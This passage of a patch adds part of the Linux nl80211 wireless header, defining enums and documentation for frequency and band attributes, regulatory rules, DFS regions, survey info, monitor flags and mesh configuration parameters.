+ * @NL80211_BAND_ATTR_VHT_MCS_SET: 32-byte attribute containing the MCS set as
+ * defined in 802.11ac
+ * @NL80211_BAND_ATTR_VHT_CAPA: VHT capabilities, as in the HT information IE
+ * @NL80211_BAND_ATTR_MAX: highest band attribute currently defined
+ * @__NL80211_BAND_ATTR_AFTER_LAST: internal use
+ */
+enum nl80211_band_attr {
+ __NL80211_BAND_ATTR_INVALID,
+ NL80211_BAND_ATTR_FREQS,
+ NL80211_BAND_ATTR_RATES,
+
+ NL80211_BAND_ATTR_HT_MCS_SET,
+ NL80211_BAND_ATTR_HT_CAPA,
+ NL80211_BAND_ATTR_HT_AMPDU_FACTOR,
+ NL80211_BAND_ATTR_HT_AMPDU_DENSITY,
+
+ NL80211_BAND_ATTR_VHT_MCS_SET,
+ NL80211_BAND_ATTR_VHT_CAPA,
+
+ /* keep last */
+ __NL80211_BAND_ATTR_AFTER_LAST,
+ NL80211_BAND_ATTR_MAX = __NL80211_BAND_ATTR_AFTER_LAST - 1
+};
+
+#define NL80211_BAND_ATTR_HT_CAPA NL80211_BAND_ATTR_HT_CAPA
+
+/**
+ * enum nl80211_frequency_attr - frequency attributes
+ * @__NL80211_FREQUENCY_ATTR_INVALID: attribute number 0 is reserved
+ * @NL80211_FREQUENCY_ATTR_FREQ: Frequency in MHz
+ * @NL80211_FREQUENCY_ATTR_DISABLED: Channel is disabled in current
+ * regulatory domain.
+ * @NL80211_FREQUENCY_ATTR_NO_IR: no mechanisms that initiate radiation
+ * are permitted on this channel, this includes sending probe
+ * requests, or modes of operation that require beaconing.
+ * @NL80211_FREQUENCY_ATTR_RADAR: Radar detection is mandatory
+ * on this channel in current regulatory domain.
+ * @NL80211_FREQUENCY_ATTR_MAX_TX_POWER: Maximum transmission power in mBm
+ * (100 * dBm).
+ * @NL80211_FREQUENCY_ATTR_DFS_STATE: current state for DFS
+ * (enum nl80211_dfs_state)
+ * @NL80211_FREQUENCY_ATTR_DFS_TIME: time in miliseconds for how long
+ * this channel is in this DFS state.
+ * @NL80211_FREQUENCY_ATTR_NO_HT40_MINUS: HT40- isn't possible with this
+ * channel as the control channel
+ * @NL80211_FREQUENCY_ATTR_NO_HT40_PLUS: HT40+ isn't possible with this
+ * channel as the control channel
+ * @NL80211_FREQUENCY_ATTR_NO_80MHZ: any 80 MHz channel using this channel
+ * as the primary or any of the secondary channels isn't possible,
+ * this includes 80+80 channels
+ * @NL80211_FREQUENCY_ATTR_NO_160MHZ: any 160 MHz (but not 80+80) channel
+ * using this channel as the primary or any of the secondary channels
+ * isn't possible
+ * @NL80211_FREQUENCY_ATTR_DFS_CAC_TIME: DFS CAC time in milliseconds.
+ * @NL80211_FREQUENCY_ATTR_INDOOR_ONLY: Only indoor use is permitted on this
+ * channel. A channel that has the INDOOR_ONLY attribute can only be
+ * used when there is a clear assessment that the device is operating in
+ * an indoor surroundings, i.e., it is connected to AC power (and not
+ * through portable DC inverters) or is under the control of a master
+ * that is acting as an AP and is connected to AC power.
+ * @NL80211_FREQUENCY_ATTR_GO_CONCURRENT: GO operation is allowed on this
+ * channel if it's connected concurrently to a BSS on the same channel on
+ * the 2 GHz band or to a channel in the same UNII band (on the 5 GHz
+ * band), and IEEE80211_CHAN_RADAR is not set. Instantiating a GO on a
+ * channel that has the GO_CONCURRENT attribute set can be done when there
+ * is a clear assessment that the device is operating under the guidance of
+ * an authorized master, i.e., setting up a GO while the device is also
+ * connected to an AP with DFS and radar detection on the UNII band (it is
+ * up to user-space, i.e., wpa_supplicant to perform the required
+ * verifications)
+ * @NL80211_FREQUENCY_ATTR_NO_20MHZ: 20 MHz operation is not allowed
+ * on this channel in current regulatory domain.
+ * @NL80211_FREQUENCY_ATTR_NO_10MHZ: 10 MHz operation is not allowed
+ * on this channel in current regulatory domain.
+ * @NL80211_FREQUENCY_ATTR_MAX: highest frequency attribute number
+ * currently defined
+ * @__NL80211_FREQUENCY_ATTR_AFTER_LAST: internal use
+ *
+ * See
+ *https://apps.fcc.gov/eas/comments/GetPublishedDocument.html?id=327&tn=528122
+ * for more information on the FCC description of the relaxations allowed
+ * by NL80211_FREQUENCY_ATTR_INDOOR_ONLY and
+ * NL80211_FREQUENCY_ATTR_GO_CONCURRENT.
+ */
+enum nl80211_frequency_attr {
+ __NL80211_FREQUENCY_ATTR_INVALID,
+ NL80211_FREQUENCY_ATTR_FREQ,
+ NL80211_FREQUENCY_ATTR_DISABLED,
+ NL80211_FREQUENCY_ATTR_NO_IR,
+ __NL80211_FREQUENCY_ATTR_NO_IBSS,
+ NL80211_FREQUENCY_ATTR_RADAR,
+ NL80211_FREQUENCY_ATTR_MAX_TX_POWER,
+ NL80211_FREQUENCY_ATTR_DFS_STATE,
+ NL80211_FREQUENCY_ATTR_DFS_TIME,
+ NL80211_FREQUENCY_ATTR_NO_HT40_MINUS,
+ NL80211_FREQUENCY_ATTR_NO_HT40_PLUS,
+ NL80211_FREQUENCY_ATTR_NO_80MHZ,
+ NL80211_FREQUENCY_ATTR_NO_160MHZ,
+ NL80211_FREQUENCY_ATTR_DFS_CAC_TIME,
+ NL80211_FREQUENCY_ATTR_INDOOR_ONLY,
+ NL80211_FREQUENCY_ATTR_GO_CONCURRENT,
+ NL80211_FREQUENCY_ATTR_NO_20MHZ,
+ NL80211_FREQUENCY_ATTR_NO_10MHZ,
+
+ /* keep last */
+ __NL80211_FREQUENCY_ATTR_AFTER_LAST,
+ NL80211_FREQUENCY_ATTR_MAX = __NL80211_FREQUENCY_ATTR_AFTER_LAST - 1
+};
+
+#define NL80211_FREQUENCY_ATTR_MAX_TX_POWER NL80211_FREQUENCY_ATTR_MAX_TX_POWER
+#define NL80211_FREQUENCY_ATTR_PASSIVE_SCAN NL80211_FREQUENCY_ATTR_NO_IR
+#define NL80211_FREQUENCY_ATTR_NO_IBSS NL80211_FREQUENCY_ATTR_NO_IR
+#define NL80211_FREQUENCY_ATTR_NO_IR NL80211_FREQUENCY_ATTR_NO_IR
+
+/**
+ * enum nl80211_bitrate_attr - bitrate attributes
+ * @__NL80211_BITRATE_ATTR_INVALID: attribute number 0 is reserved
+ * @NL80211_BITRATE_ATTR_RATE: Bitrate in units of 100 kbps
+ * @NL80211_BITRATE_ATTR_2GHZ_SHORTPREAMBLE: Short preamble supported
+ * in 2.4 GHz band.
+ * @NL80211_BITRATE_ATTR_MAX: highest bitrate attribute number
+ * currently defined
+ * @__NL80211_BITRATE_ATTR_AFTER_LAST: internal use
+ */
+enum nl80211_bitrate_attr {
+ __NL80211_BITRATE_ATTR_INVALID,
+ NL80211_BITRATE_ATTR_RATE,
+ NL80211_BITRATE_ATTR_2GHZ_SHORTPREAMBLE,
+
+ /* keep last */
+ __NL80211_BITRATE_ATTR_AFTER_LAST,
+ NL80211_BITRATE_ATTR_MAX = __NL80211_BITRATE_ATTR_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_initiator - Indicates the initiator of a reg domain request
+ * @NL80211_REGDOM_SET_BY_CORE: Core queried CRDA for a dynamic world
+ * regulatory domain.
+ * @NL80211_REGDOM_SET_BY_USER: User asked the wireless core to set the
+ * regulatory domain.
+ * @NL80211_REGDOM_SET_BY_DRIVER: a wireless drivers has hinted to the
+ * wireless core it thinks its knows the regulatory domain we should be in.
+ * @NL80211_REGDOM_SET_BY_COUNTRY_IE: the wireless core has received an
+ * 802.11 country information element with regulatory information it
+ * thinks we should consider. cfg80211 only processes the country
+ * code from the IE, and relies on the regulatory domain information
+ * structure passed by userspace (CRDA) from our wireless-regdb.
+ * If a channel is enabled but the country code indicates it should
+ * be disabled we disable the channel and re-enable it upon disassociation.
+ */
+enum nl80211_reg_initiator {
+ NL80211_REGDOM_SET_BY_CORE,
+ NL80211_REGDOM_SET_BY_USER,
+ NL80211_REGDOM_SET_BY_DRIVER,
+ NL80211_REGDOM_SET_BY_COUNTRY_IE,
+};
+
+/**
+ * enum nl80211_reg_type - specifies the type of regulatory domain
+ * @NL80211_REGDOM_TYPE_COUNTRY: the regulatory domain set is one that pertains
+ * to a specific country. When this is set you can count on the
+ * ISO / IEC 3166 alpha2 country code being valid.
+ * @NL80211_REGDOM_TYPE_WORLD: the regulatory set domain is the world regulatory
+ * domain.
+ * @NL80211_REGDOM_TYPE_CUSTOM_WORLD: the regulatory domain set is a custom
+ * driver specific world regulatory domain. These do not apply system-wide
+ * and are only applicable to the individual devices which have requested
+ * them to be applied.
+ * @NL80211_REGDOM_TYPE_INTERSECTION: the regulatory domain set is the product
+ * of an intersection between two regulatory domains -- the previously
+ * set regulatory domain on the system and the last accepted regulatory
+ * domain request to be processed.
+ */
+enum nl80211_reg_type {
+ NL80211_REGDOM_TYPE_COUNTRY,
+ NL80211_REGDOM_TYPE_WORLD,
+ NL80211_REGDOM_TYPE_CUSTOM_WORLD,
+ NL80211_REGDOM_TYPE_INTERSECTION,
+};
+
+/**
+ * enum nl80211_reg_rule_attr - regulatory rule attributes
+ * @__NL80211_REG_RULE_ATTR_INVALID: attribute number 0 is reserved
+ * @NL80211_ATTR_REG_RULE_FLAGS: a set of flags which specify additional
+ * considerations for a given frequency range. These are the
+ * &enum nl80211_reg_rule_flags.
+ * @NL80211_ATTR_FREQ_RANGE_START: starting frequencry for the regulatory
+ * rule in KHz. This is not a center of frequency but an actual regulatory
+ * band edge.
+ * @NL80211_ATTR_FREQ_RANGE_END: ending frequency for the regulatory rule
+ * in KHz. This is not a center a frequency but an actual regulatory
+ * band edge.
+ * @NL80211_ATTR_FREQ_RANGE_MAX_BW: maximum allowed bandwidth for this
+ * frequency range, in KHz.
+ * @NL80211_ATTR_POWER_RULE_MAX_ANT_GAIN: the maximum allowed antenna gain
+ * for a given frequency range. The value is in mBi (100 * dBi).
+ * If you don't have one then don't send this.
+ * @NL80211_ATTR_POWER_RULE_MAX_EIRP: the maximum allowed EIRP for
+ * a given frequency range. The value is in mBm (100 * dBm).
+ * @NL80211_ATTR_DFS_CAC_TIME: DFS CAC time in milliseconds.
+ * If not present or 0 default CAC time will be used.
+ * @NL80211_REG_RULE_ATTR_MAX: highest regulatory rule attribute number
+ * currently defined
+ * @__NL80211_REG_RULE_ATTR_AFTER_LAST: internal use
+ */
+enum nl80211_reg_rule_attr {
+ __NL80211_REG_RULE_ATTR_INVALID,
+ NL80211_ATTR_REG_RULE_FLAGS,
+
+ NL80211_ATTR_FREQ_RANGE_START,
+ NL80211_ATTR_FREQ_RANGE_END,
+ NL80211_ATTR_FREQ_RANGE_MAX_BW,
+
+ NL80211_ATTR_POWER_RULE_MAX_ANT_GAIN,
+ NL80211_ATTR_POWER_RULE_MAX_EIRP,
+
+ NL80211_ATTR_DFS_CAC_TIME,
+
+ /* keep last */
+ __NL80211_REG_RULE_ATTR_AFTER_LAST,
+ NL80211_REG_RULE_ATTR_MAX = __NL80211_REG_RULE_ATTR_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_sched_scan_match_attr - scheduled scan match attributes
+ * @__NL80211_SCHED_SCAN_MATCH_ATTR_INVALID: attribute number 0 is reserved
+ * @NL80211_SCHED_SCAN_MATCH_ATTR_SSID: SSID to be used for matching,
+ * only report BSS with matching SSID.
+ * @NL80211_SCHED_SCAN_MATCH_ATTR_RSSI: RSSI threshold (in dBm) for reporting a
+ * BSS in scan results. Filtering is turned off if not specified. Note that
+ * if this attribute is in a match set of its own, then it is treated as
+ * the default value for all matchsets with an SSID, rather than being a
+ * matchset of its own without an RSSI filter. This is due to problems with
+ * how this API was implemented in the past. Also, due to the same problem,
+ * the only way to create a matchset with only an RSSI filter (with this
+ * attribute) is if there's only a single matchset with the RSSI attribute.
+ * @NL80211_SCHED_SCAN_MATCH_ATTR_MAX: highest scheduled scan filter
+ * attribute number currently defined
+ * @__NL80211_SCHED_SCAN_MATCH_ATTR_AFTER_LAST: internal use
+ */
+enum nl80211_sched_scan_match_attr {
+ __NL80211_SCHED_SCAN_MATCH_ATTR_INVALID,
+
+ NL80211_SCHED_SCAN_MATCH_ATTR_SSID,
+ NL80211_SCHED_SCAN_MATCH_ATTR_RSSI,
+
+ /* keep last */
+ __NL80211_SCHED_SCAN_MATCH_ATTR_AFTER_LAST,
+ NL80211_SCHED_SCAN_MATCH_ATTR_MAX =
+ __NL80211_SCHED_SCAN_MATCH_ATTR_AFTER_LAST - 1
+};
+
+/* only for backward compatibility */
+#define NL80211_ATTR_SCHED_SCAN_MATCH_SSID NL80211_SCHED_SCAN_MATCH_ATTR_SSID
+
+/**
+ * enum nl80211_reg_rule_flags - regulatory rule flags
+ *
+ * @NL80211_RRF_NO_OFDM: OFDM modulation not allowed
+ * @NL80211_RRF_NO_CCK: CCK modulation not allowed
+ * @NL80211_RRF_NO_INDOOR: indoor operation not allowed
+ * @NL80211_RRF_NO_OUTDOOR: outdoor operation not allowed
+ * @NL80211_RRF_DFS: DFS support is required to be used
+ * @NL80211_RRF_PTP_ONLY: this is only for Point To Point links
+ * @NL80211_RRF_PTMP_ONLY: this is only for Point To Multi Point links
+ * @NL80211_RRF_NO_IR: no mechanisms that initiate radiation are allowed,
+ * this includes probe requests or modes of operation that require
+ * beaconing.
+ * @NL80211_RRF_AUTO_BW: maximum available bandwidth should be calculated
+ * base on contiguous rules and wider channels will be allowed to cross
+ * multiple contiguous/overlapping frequency ranges.
+ */
+enum nl80211_reg_rule_flags {
+ NL80211_RRF_NO_OFDM = 1 << 0,
+ NL80211_RRF_NO_CCK = 1 << 1,
+ NL80211_RRF_NO_INDOOR = 1 << 2,
+ NL80211_RRF_NO_OUTDOOR = 1 << 3,
+ NL80211_RRF_DFS = 1 << 4,
+ NL80211_RRF_PTP_ONLY = 1 << 5,
+ NL80211_RRF_PTMP_ONLY = 1 << 6,
+ NL80211_RRF_NO_IR = 1 << 7,
+ __NL80211_RRF_NO_IBSS = 1 << 8,
+ NL80211_RRF_AUTO_BW = 1 << 11,
+};
+
+#define NL80211_RRF_PASSIVE_SCAN NL80211_RRF_NO_IR
+#define NL80211_RRF_NO_IBSS NL80211_RRF_NO_IR
+#define NL80211_RRF_NO_IR NL80211_RRF_NO_IR
+
+/* For backport compatibility with older userspace */
+#define NL80211_RRF_NO_IR_ALL (NL80211_RRF_NO_IR | __NL80211_RRF_NO_IBSS)
+
+/**
+ * enum nl80211_dfs_regions - regulatory DFS regions
+ *
+ * @NL80211_DFS_UNSET: Country has no DFS master region specified
+ * @NL80211_DFS_FCC: Country follows DFS master rules from FCC
+ * @NL80211_DFS_ETSI: Country follows DFS master rules from ETSI
+ * @NL80211_DFS_JP: Country follows DFS master rules from JP/MKK/Telec
+ */
+enum nl80211_dfs_regions {
+ NL80211_DFS_UNSET = 0,
+ NL80211_DFS_FCC = 1,
+ NL80211_DFS_ETSI = 2,
+ NL80211_DFS_JP = 3,
+};
+
+/**
+ * enum nl80211_user_reg_hint_type - type of user regulatory hint
+ *
+ * @NL80211_USER_REG_HINT_USER: a user sent the hint. This is always
+ * assumed if the attribute is not set.
+ * @NL80211_USER_REG_HINT_CELL_BASE: the hint comes from a cellular
+ * base station. Device drivers that have been tested to work
+ * properly to support this type of hint can enable these hints
+ * by setting the NL80211_FEATURE_CELL_BASE_REG_HINTS feature
+ * capability on the struct wiphy. The wireless core will
+ * ignore all cell base station hints until at least one device
+ * present has been registered with the wireless core that
+ * has listed NL80211_FEATURE_CELL_BASE_REG_HINTS as a
+ * supported feature.
+ * @NL80211_USER_REG_HINT_INDOOR: a user sent an hint indicating that the
+ * platform is operating in an indoor environment.
+ */
+enum nl80211_user_reg_hint_type {
+ NL80211_USER_REG_HINT_USER = 0,
+ NL80211_USER_REG_HINT_CELL_BASE = 1,
+ NL80211_USER_REG_HINT_INDOOR = 2,
+};
+
+/**
+ * enum nl80211_survey_info - survey information
+ *
+ * These attribute types are used with %NL80211_ATTR_SURVEY_INFO
+ * when getting information about a survey.
+ *
+ * @__NL80211_SURVEY_INFO_INVALID: attribute number 0 is reserved
+ * @NL80211_SURVEY_INFO_FREQUENCY: center frequency of channel
+ * @NL80211_SURVEY_INFO_NOISE: noise level of channel (u8, dBm)
+ * @NL80211_SURVEY_INFO_IN_USE: channel is currently being used
+ * @NL80211_SURVEY_INFO_CHANNEL_TIME: amount of time (in ms) that the radio
+ * spent on this channel
+ * @NL80211_SURVEY_INFO_CHANNEL_TIME_BUSY: amount of the time the primary
+ * channel was sensed busy (either due to activity or energy detect)
+ * @NL80211_SURVEY_INFO_CHANNEL_TIME_EXT_BUSY: amount of time the extension
+ * channel was sensed busy
+ * @NL80211_SURVEY_INFO_CHANNEL_TIME_RX: amount of time the radio spent
+ * receiving data
+ * @NL80211_SURVEY_INFO_CHANNEL_TIME_TX: amount of time the radio spent
+ * transmitting data
+ * @NL80211_SURVEY_INFO_MAX: highest survey info attribute number
+ * currently defined
+ * @__NL80211_SURVEY_INFO_AFTER_LAST: internal use
+ */
+enum nl80211_survey_info {
+ __NL80211_SURVEY_INFO_INVALID,
+ NL80211_SURVEY_INFO_FREQUENCY,
+ NL80211_SURVEY_INFO_NOISE,
+ NL80211_SURVEY_INFO_IN_USE,
+ NL80211_SURVEY_INFO_CHANNEL_TIME,
+ NL80211_SURVEY_INFO_CHANNEL_TIME_BUSY,
+ NL80211_SURVEY_INFO_CHANNEL_TIME_EXT_BUSY,
+ NL80211_SURVEY_INFO_CHANNEL_TIME_RX,
+ NL80211_SURVEY_INFO_CHANNEL_TIME_TX,
+
+ /* keep last */
+ __NL80211_SURVEY_INFO_AFTER_LAST,
+ NL80211_SURVEY_INFO_MAX = __NL80211_SURVEY_INFO_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_mntr_flags - monitor configuration flags
+ *
+ * Monitor configuration flags.
+ *
+ * @__NL80211_MNTR_FLAG_INVALID: reserved
+ *
+ * @NL80211_MNTR_FLAG_FCSFAIL: pass frames with bad FCS
+ * @NL80211_MNTR_FLAG_PLCPFAIL: pass frames with bad PLCP
+ * @NL80211_MNTR_FLAG_CONTROL: pass control frames
+ * @NL80211_MNTR_FLAG_OTHER_BSS: disable BSSID filtering
+ * @NL80211_MNTR_FLAG_COOK_FRAMES: report frames after processing.
+ * overrides all other flags.
+ * @NL80211_MNTR_FLAG_ACTIVE: use the configured MAC address
+ * and ACK incoming unicast packets.
+ *
+ * @__NL80211_MNTR_FLAG_AFTER_LAST: internal use
+ * @NL80211_MNTR_FLAG_MAX: highest possible monitor flag
+ */
+enum nl80211_mntr_flags {
+ __NL80211_MNTR_FLAG_INVALID,
+ NL80211_MNTR_FLAG_FCSFAIL,
+ NL80211_MNTR_FLAG_PLCPFAIL,
+ NL80211_MNTR_FLAG_CONTROL,
+ NL80211_MNTR_FLAG_OTHER_BSS,
+ NL80211_MNTR_FLAG_COOK_FRAMES,
+ NL80211_MNTR_FLAG_ACTIVE,
+
+ /* keep last */
+ __NL80211_MNTR_FLAG_AFTER_LAST,
+ NL80211_MNTR_FLAG_MAX = __NL80211_MNTR_FLAG_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_mesh_power_mode - mesh power save modes
+ *
+ * @NL80211_MESH_POWER_UNKNOWN: The mesh power mode of the mesh STA is
+ * not known or has not been set yet.
+ * @NL80211_MESH_POWER_ACTIVE: Active mesh power mode. The mesh STA is
+ * in Awake state all the time.
+ * @NL80211_MESH_POWER_LIGHT_SLEEP: Light sleep mode. The mesh STA will
+ * alternate between Active and Doze states, but will wake up for
+ * neighbor's beacons.
+ * @NL80211_MESH_POWER_DEEP_SLEEP: Deep sleep mode. The mesh STA will
+ * alternate between Active and Doze states, but may not wake up
+ * for neighbor's beacons.
+ *
+ * @__NL80211_MESH_POWER_AFTER_LAST - internal use
+ * @NL80211_MESH_POWER_MAX - highest possible power save level
+ */
+
+enum nl80211_mesh_power_mode {
+ NL80211_MESH_POWER_UNKNOWN,
+ NL80211_MESH_POWER_ACTIVE,
+ NL80211_MESH_POWER_LIGHT_SLEEP,
+ NL80211_MESH_POWER_DEEP_SLEEP,
+
+ __NL80211_MESH_POWER_AFTER_LAST,
+ NL80211_MESH_POWER_MAX = __NL80211_MESH_POWER_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_meshconf_params - mesh configuration parameters
+ *
+ * Mesh configuration parameters. These can be changed while the mesh is
+ * active.
+ *
+ * @__NL80211_MESHCONF_INVALID: internal use
+ *
+ * @NL80211_MESHCONF_RETRY_TIMEOUT: specifies the initial retry timeout in
+ * millisecond units, used by the Peer Link Open message
+ *
+ * @NL80211_MESHCONF_CONFIRM_TIMEOUT: specifies the initial confirm timeout, in
+ * millisecond units, used by the peer link management to close a peer link
+ *
+ * @NL80211_MESHCONF_HOLDING_TIMEOUT: specifies the holding timeout, in
+ * millisecond units
+ *
+ * @NL80211_MESHCONF_MAX_PEER_LINKS: maximum number of peer links allowed
+ * on this mesh interface
+ *
+ * @NL80211_MESHCONF_MAX_RETRIES: specifies the maximum number of peer link
+ * open retries that can be sent to establish a new peer link instance in a
+ * mesh
+ *
+ * @NL80211_MESHCONF_TTL: specifies the value of TTL field set at a source mesh
+ * point.
+ *
+ * @NL80211_MESHCONF_AUTO_OPEN_PLINKS: whether we should automatically open
+ * peer links when we detect compatible mesh peers. Disabled if
+ * @NL80211_MESH_SETUP_USERSPACE_MPM or @NL80211_MESH_SETUP_USERSPACE_AMPE
+ *are set.
+ *
+ * @NL80211_MESHCONF_HWMP_MAX_PREQ_RETRIES: the number of action frames
+ * containing a PREQ that an MP can send to a particular destination (path
+ * target)
+ *
+ * @NL80211_MESHCONF_PATH_REFRESH_TIME: how frequently to refresh mesh paths
+ * (in milliseconds)
+ *
+ * @NL80211_MESHCONF_MIN_DISCOVERY_TIMEOUT: minimum length of time to wait
+ * until giving up on a path discovery (in milliseconds)
+ *
+ * @NL80211_MESHCONF_HWMP_ACTIVE_PATH_TIMEOUT: The time (in TUs) for which mesh
+ * points receiving a PREQ shall consider the forwarding information from
+ * the root to be valid. (TU = time unit)
+ *
+ * @NL80211_MESHCONF_HWMP_PREQ_MIN_INTERVAL: The minimum interval of time (in
+ * TUs) during which an MP can send only one action frame containing a PREQ
+ * reference element
+ *
+ * @NL80211_MESHCONF_HWMP_NET_DIAM_TRVS_TIME: The interval of time (in TUs)
+ * that it takes for an HWMP information element to propagate across the
+ * mesh
+ *
+ * @NL80211_MESHCONF_HWMP_ROOTMODE: whether root mode is enabled or not
+ *
+ * @NL80211_MESHCONF_ELEMENT_TTL: specifies the value of TTL field set at a
+ * source mesh point for path selection elements.
+ *
+ * @NL80211_MESHCONF_HWMP_RANN_INTERVAL: The interval of time (in TUs) between
+ * root announcements are transmitted.
+ *
+ * @NL80211_MESHCONF_GATE_ANNOUNCEMENTS: Advertise that this mesh station has
+ * access to a broader network beyond the MBSS. This is done via Root
+ * Announcement frames.
+ *
+ * @NL80211_MESHCONF_HWMP_PERR_MIN_INTERVAL: The minimum interval of time (in
+ * TUs) during which a mesh STA can send only one Action frame containing a
+ * PERR element.
+ *
+ * @NL80211_MESHCONF_FORWARDING: set Mesh STA as forwarding or non-forwarding
+ * or forwarding entity (default is TRUE - forwarding entity)
+ *
+ * @NL80211_MESHCONF_RSSI_THRESHOLD: RSSI threshold in dBm. This specifies the
+ * threshold for average signal strength of candidate station to establish
+ * a peer link.
+ *
+ * @NL80211_MESHCONF_SYNC_OFFSET_MAX_NEIGHBOR: maximum number of neighbors
+ * to synchronize to for 11s default synchronization method
+ * (see 11C.12.2.2)
+ *
+ * @NL80211_MESHCONF_HT_OPMODE: set mesh HT protection mode.
+ *
+ * @NL80211_MESHCONF_ATTR_MAX: highest possible mesh configuration attribute
+ *
+ * @NL80211_MESHCONF_HWMP_PATH_TO_ROOT_TIMEOUT: The time (in TUs) for
+ * which mesh STAs receiving a proactive PREQ shall consider the forwarding
+ * information to the root mesh STA to be valid.
+ *
+ * @NL80211_MESHCONF_HWMP_ROOT_INTERVAL: The interval of time (in TUs) between
+ * proactive PREQs are transmitted.
+ *
+ * @NL80211_MESHCONF_HWMP_CONFIRMATION_INTERVAL: The minimum interval of time
+ * (in TUs) during which a mesh STA can send only one Action frame
+ * containing a PREQ element for root path confirmation.
+ *
+ * @NL80211_MESHCONF_POWER_MODE: Default mesh power mode for new peer links.
+ * type &enum nl80211_mesh_power_mode (u32)
+ *
+ * @NL80211_MESHCONF_AWAKE_WINDOW: awake window duration (in TUs)
+ *
+ * @NL80211_MESHCONF_PLINK_TIMEOUT: If no tx activity is seen from a STA we've
+ * established peering with for longer than this time (in seconds), then
+ * remove it from the STA's list of peers. Default is 30 minutes.
+ *
+ * @__NL80211_MESHCONF_ATTR_AFTER_LAST: internal use
+ */
+enum nl80211_meshconf_params {
+ __NL80211_MESHCONF_INVALID,
+ NL80211_MESHCONF_RETRY_TIMEOUT,
+ NL80211_MESHCONF_CONFIRM_TIMEOUT,
+ NL80211_MESHCONF_HOLDING_TIMEOUT,
+ NL80211_MESHCONF_MAX_PEER_LINKS,
+ NL80211_MESHCONF_MAX_RETRIES,
+ NL80211_MESHCONF_TTL,
+ NL80211_MESHCONF_AUTO_OPEN_PLINKS,
+ NL80211_MESHCONF_HWMP_MAX_PREQ_RETRIES,
+ NL80211_MESHCONF_PATH_REFRESH_TIME,
+ NL80211_MESHCONF_MIN_DISCOVERY_TIMEOUT,
+ NL80211_MESHCONF_HWMP_ACTIVE_PATH_TIMEOUT,
+ NL80211_MESHCONF_HWMP_PREQ_MIN_INTERVAL,
+ NL80211_MESHCONF_HWMP_NET_DIAM_TRVS_TIME,
+ NL80211_MESHCONF_HWMP_ROOTMODE,
+ NL80211_MESHCONF_ELEMENT_TTL,
+ NL80211_MESHCONF_HWMP_RANN_INTERVAL,
+ NL80211_MESHCONF_GATE_ANNOUNCEMENTS,
+ NL80211_MESHCONF_HWMP_PERR_MIN_INTERVAL,
+ NL80211_MESHCONF_FORWARDING,
+ NL80211_MESHCONF_RSSI_THRESHOLD,
+ NL80211_MESHCONF_SYNC_OFFSET_MAX_NEIGHBOR,
+ NL80211_MESHCONF_HT_OPMODE,
+ NL80211_MESHCONF_HWMP_PATH_TO_ROOT_TIMEOUT,
+ NL80211_MESHCONF_HWMP_ROOT_INTERVAL,
+ NL80211_MESHCONF_HWMP_CONFIRMATION_INTERVAL,
+ NL80211_MESHCONF_POWER_MODE,
+ NL80211_MESHCONF_AWAKE_WINDOW,
+ NL80211_MESHCONF_PLINK_TIMEOUT,
+
+ /* keep last */
+ __NL80211_MESHCONF_ATTR_AFTER_LAST,
+ NL80211_MESHCONF_ATTR_MAX = __NL80211_MESHCONF_ATTR_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_mesh_setup_params - mesh setup parameters
+ *
+ * Mesh setup parameters. These are used to start/join a mesh and cannot be
+ * changed while the mesh is active.
+ *
+ * @__NL80211_MESH_SETUP_INVALID: Internal use
+ *
+ * @NL80211_MESH_SETUP_ENABLE_VENDOR_PATH_SEL: Enable this option to use a
+ * vendor specific path selection algorithm or disable it to use the
+ * default HWMP.
+ *
+ * @NL80211_MESH_SETUP_ENABLE_VENDOR_METRIC: Enable this option to use a
+ * vendor specific path metric or disable it to use the default Airtime
+ * metric.
+ *
+ * @NL80211_MESH_SETUP_IE: Information elements for this mesh, for instance, a
+ * robust security network ie, or a vendor specific information element
+ * that vendors will use to identify the path selection methods and
+ * metrics in use.
+ *
+ * @NL80211_MESH_SETUP_USERSPACE_AUTH: Enable this option if an authentication
+ * daemon will be authenticating mesh candidates.
+ *
+ * @NL80211_MESH_SETUP_USERSPACE_AMPE: Enable this option if an authentication
+ * daemon will be securing peer link frames. AMPE is a secured version of
+ * Mesh Peering Management (MPM) and is implemented with the assistance of
+ * a userspace daemon. When this flag is set, the kernel will send peer
+ * management frames to a userspace daemon that will implement AMPE
+ * functionality (security capabilities selection, key confirmation, and
+ * key management). When the flag is unset (default), the kernel can
+ * autonomously complete (unsecured) mesh peering without the need of a
+ * userspace daemon.
+ *
+ * @NL80211_MESH_SETUP_ENABLE_VENDOR_SYNC: Enable this option to use a
+ * vendor specific synchronization method or disable it to use the default
+ * neighbor offset synchronization
+ *
+ * @NL80211_MESH_SETUP_USERSPACE_MPM: Enable this option if userspace will
+ * implement an MPM which handles peer allocation and state.
+ *
+ * @NL80211_MESH_SETUP_AUTH_PROTOCOL: Inform the kernel of the authentication
+ * method (u8, as defined in IEEE 8.4.2.100.6, e.g. 0x1 for SAE).
+ * Default is no authentication method required.
+ *
+ * @NL80211_MESH_SETUP_ATTR_MAX: highest possible mesh setup attribute number
+ *
+ * @__NL80211_MESH_SETUP_ATTR_AFTER_LAST: Internal use
+ */
+enum nl80211_mesh_setup_params {
+ __NL80211_MESH_SETUP_INVALID,
+ NL80211_MESH_SETUP_ENABLE_VENDOR_PATH_SEL,
+ NL80211_MESH_SETUP_ENABLE_VENDOR_METRIC,
+ NL80211_MESH_SETUP_IE,
+ NL80211_MESH_SETUP_USERSPACE_AUTH,
+ NL80211_MESH_SETUP_USERSPACE_AMPE,
+ NL80211_MESH_SETUP_ENABLE_VENDOR_SYNC,
+ NL80211_MESH_SETUP_USERSPACE_MPM,
+ NL80211_MESH_SETUP_AUTH_PROTOCOL,
+
+ /* keep last */
+ __NL80211_MESH_SETUP_ATTR_AFTER_LAST,
+ NL80211_MESH_SETUP_ATTR_MAX = __NL80211_MESH_SETUP_ATTR_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_txq_attr - TX queue parameter attributes
+ * @__NL80211_TXQ_ATTR_INVALID: Attribute number 0 is reserved
+ * @NL80211_TXQ_ATTR_AC: AC identifier (NL80211_AC_*)
+ * @NL80211_TXQ_ATTR_TXOP: Maximum burst time in units of 32 usecs, 0 meaning
+ * disabled
+ * @NL80211_TXQ_ATTR_CWMIN: Minimum contention window [a value of the form
